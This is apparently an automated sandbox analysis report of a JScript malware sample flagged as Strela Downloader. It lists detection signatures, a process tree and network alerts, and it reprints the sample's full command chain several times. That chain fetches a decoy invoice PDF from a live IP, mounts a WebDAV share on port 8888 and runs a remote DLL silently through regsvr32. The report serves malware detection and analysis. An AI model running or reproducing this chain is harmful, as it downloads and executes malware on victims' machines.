Edit tour

Windows Analysis Report
2148023713578731850.js

Overview

General Information

Sample name:	2148023713578731850.js
Analysis ID:	1588671
MD5:	d34138c3409899218b7e9a78f357257e
SHA1:	59028b1949e087321852e293425911dd19ac11db
SHA256:	4649f136e0ee6b4d635d70257fdb827468d45f7598984a3057803f052da518ce
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5348 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 560 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2380 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3740 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4412 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7328 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1608,i,6291338694394739944,1176206968790904540,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4284 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7120 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4960 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5348	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2380, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2380, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js", ProcessId: 5348, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7120, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49736

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, ProcessId: 560, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, ProcessId: 560, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, ProcessId: 560, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, ProcessId: 560, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, ProcessId: 560, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js", ProcessId: 5348, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2380, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4284, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7120, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4960, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4284, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7120, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll, ProcessId: 560, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:59:12.344593+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49735	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:59:15.037635+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49736	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:59:12.344593+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49735	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2148023713578731850.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2148023713578731850.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49736 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49735 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:59:12 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49736

Source: global traffic

